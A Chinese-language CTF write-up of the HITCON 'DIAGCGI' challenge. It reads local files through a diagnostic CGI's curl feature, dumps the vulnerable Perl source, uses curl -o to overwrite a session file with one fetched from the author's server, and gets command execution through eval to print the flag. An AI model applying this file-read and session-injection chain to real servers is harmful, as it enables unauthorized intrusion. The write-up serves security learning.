DIAGCGI

Description
http://54.92.127.128:16888/

信息收集

没有提示,打开连接自动跳转到:http://54.92.127.128:16888/cgi-bin/dana-na.cgi?sechash=

输入任意网址,比如watch0ut.com测试,发现curl可以直接获取网页源码。试试获取服务器系统文件呢?直接输入/etc/passwd,返回空白。改个方式:file:///ect/passwd,果然可以直接读取系统文件!

看看有哪些用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
key:x:1001:1001::/home/key:

有个用户叫key?!哈哈,莫非是暗示:D
key应该就在该用户目录下吧,尝试读取

1
2
3
4
file:///home/key/key
file:///home/key/flag
file:///home/key/flag.key
file:///home/key/DIAGCGI

等等情况,失败。看来猜文件名方式不靠谱,如果能ls看看目录有啥文件就好了……
看看网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<STYLE TYPE="text/css">
<!--
@import url(http://bootswatch.com/spacelab/bootstrap.min.css);
-->
</STYLE>
<title> simple diagnostic cgi</title>
<center>
<h1> simple <font color=red>diag</font>nostic cgi</h1>
<form action="" method="post">
<input type="name" name="arg" value=""><br />
<input name="action" type="submit" value="ping">
<input name="action" type="submit" value="traceroute">
<input name="action" type="submit" value="curl">
<!-- <input name="action" type="submit" value="shell"> -->
</form>

有个表单参数被隐藏了,从名字看,应该可以通过shell执行命令吧

1
<input name="action" type="submit" value="shell" />

使用burp修改下请求数据,把value修改为shell,参数为ls
返回:`sorry guest! you’re not admin!``

输入任何命令,包括错误的命令,提示相同,猜测这里应该是个提示,获取admin权限。

获取页面源码

又被迫回到上面的思路,curl查看源文件。继续猜下dana-na.cgi文件目录,如果能查看网页源码,就好办了。
队友很快猜到了网页路径:/usr/lib/cgi-bin/dana-na.cgi
输入:file:///usr/lib/cgi-bin/dana-na.cgi
获取网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#!/usr/bin/perl -w
use CGI;
use Digest::MD5 qw(md5_hex);
$cgi = new CGI;
$SESSDIR = "/tmp/";
$sessfile = $cgi->cookie("diagsess");
$arg0 = $cgi->param("arg");
$action = $cgi->param("action");
$arg = &safestr($arg0);
if (! defined($sessfile) )
{
if ( md5_hex($cgi->param("sechash")) =~ /^000000000000.*$/)
{
$sesshash{'user'} = 'admin';
}
else
{
$sesshash{'user'} = 'guest';
}
$sesshash{'ip'} = &get_ip;
$diagsess = md5_hex( $sesshash{'user'} . '|||' . $sesshash{'ip'} );
$cookie = "diagsess=$diagsess;";
&write_session;
print $cgi->header(-cookie => $cookie,
-expires => 'Mon, 01 Jan 1999 00:00:00 GMT',
-'cache-control' => 'no-cache',
-pragma => 'no-cache',-'location'=> 'dana-na.cgi?sechash=' );
exit 0;
}
else
{
print $cgi->header();
&read_session;
&print_menu;
}
if (defined ($action) && length($action)>0)
{
if ($action =~ /^print_session$/)
{
&print_session;
exit 0;
}
if ($action =~ /^curl$/)
{
&curl($arg);
exit 0;
}
if ($action =~ /^ping$/ )
{
&ping($arg);
exit 0;
}
if ($action =~ /^traceroute$/)
{
&traceroute ($arg);
exit 0;
}
if ($action =~ /^shell$/)
{
&shell($arg);
exit 0;
}
}
sub curl
{
$host = shift;
print "<pre><textarea rows=24 cols=80>";
if (defined($host) && length($host)>1)
{
open(GG,"/usr/bin/curl -s $host |") and do
{
while(<GG>)
{
print;
}
}
}
}
sub ping
{
my $host = shift;
print "<pre>";
if(defined($host) && length($host)>1)
{
open(GG,"/bin/ping -c3 $host |") and do
{
while(<GG>)
{
print;
}
};
close GG;
}
}
sub traceroute
{
my $host = shift;
print "<pre>";
if(defined($host) && length($host)>1)
{
open(GG,"/usr/sbin/traceroute -d -n -w 5 $host |") and do
{
while(<GG>)
{
print;
}
};
close GG;
}
}
sub read_session
{
undef %sesshash;
if(! -f "$SESSDIR/$sessfile")
{
print "session error!";
return;
}
open(GG, "$SESSDIR/$sessfile") and do {
while (<GG>) {
eval($_);
}
close GG;
};
}
sub write_session
{
open(GG, ">$SESSDIR/$diagsess") and do
{
foreach (sort keys %sesshash)
{
print GG "\$sesshash{'$_'} = '$sesshash{$_}';\n";
}
};
close GG;
}
sub print_session
{
foreach (sort keys %sesshash) {
print "$_=$sesshash{$_}\n";
}
}
sub shell
{
$cmd = shift;
print "<pre>";
if ( $sesshash{'user'} eq 'admin' )
{
open(GG, "$cmd |") and do
{
print;
};
}
else
{
print "sorry $sesshash{'user'}! you're not admin!\n";
}
}
sub print_menu
{
$arg0 =~ s/\</\<\;/g;
open(GG,"cat menu.html |") and do
{
while(<GG>)
{
$_ =~ s/\%\%arg\%\%/$arg0/g;
print $_;
}
close GG;
};
}
sub get_ip
{
$h1 = $ENV{'REMOTE_ADDR'};
$h2 = $ENV{'HTTP_CLIENT_IP'};
$h3 = $ENV{'HTTP_X_FORWARDED_FOR'};
if (length($h3)>0)
{
return $h3;
}
elsif (length($h2)>0)
{
return $h2;
}
else
{
return $h1;
}
return "UNKNOWN";
}
sub safestr
{
my $str = shift;
$str =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;;
return $str;
}

获取admin权限代码为:

1
2
3
4
5
6
7
8
if ( md5_hex($cgi->param("sechash")) =~ /^000000000000.*$/)
{
$sesshash{'user'} = 'admin';
}
else
{
$sesshash{'user'} = 'guest';
}

sechash参数md5值前12位都是0,are you kidding me?这又是出题者估计设计的陷阱。

往下看,只有第一次访问时候,没生成cookie才会进入admin判断逻辑,并将权限写入session文件。后面直接从session读取。也就是我们可以直接修改服务器session文件提权。

session文件提权

先读取下服务器上自己的session,网页先查看自己的cookie值,比如:aaebc6da0de8cf02b348c8eb4a3f585f
通过file:///tmp/aaebc6da0de8cf02b348c8eb4a3f585f

1
2
$sesshash{'ip'} = '21.194.11.***';
$sesshash{'user'} = 'guest';

查询curl参数,-o可以直接指定输出文件,于是,自己写一个文件test.txt,上传到自己的空间:

1
2
$sesshash{'ip'} = '21.194.11.***';
$sesshash{'user'} = 'admin';

再通过在web界面提交:-o /tmp/aaebc6da0de8cf02b348c8eb4a3f585f http://www.watch0ut.com/test.txt

成功写入服务器session文件!再试试改shell参数执行命令,结果返回空白。失望。

session文件执行命令

再看看代码read_session函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sub read_session
{
undef %sesshash;
if(! -f "$SESSDIR/$sessfile")
{
print "session error!";
return;
}
open(GG, "$SESSDIR/$sessfile") and do {
while (<GG>) {
eval($_);
}
close GG;
};
}

eval($_)!!!!这是神马?!很熟悉吧,php一句话木马常用的函数。

再构造一个session文件,通过web界面curl提交替换到服务器上:

1
2
3
4
$sesshash{'ip'} = '21.194.11.***';
$sesshash{'user'} = 'admin';
system(“ls -l /”);
print GG;

:D成功把根目录所有文件显示在网页。也就是可以通过构造session文件在服务器上执行shell命令。根目录有read_key,key.txt文件,最终通过:

1
2
3
4
$sesshash{'ip'} = '21.194.11.***';
$sesshash{'user'} = 'admin';
system(“/read_key /key.txt”);
print GG;

获取key:HITCON{a755be06b165ed8fc4710d3544fce942}

:)